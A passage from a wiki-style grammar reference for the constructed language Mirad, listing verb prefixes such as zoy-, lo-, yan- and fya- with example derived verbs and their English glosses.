| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoyupu!'''.
: Note 2: The prefix '''zoy''' is followed by a prefix to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''tyer'''....''to know'' → '''ijtyer'''....''to get to know''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
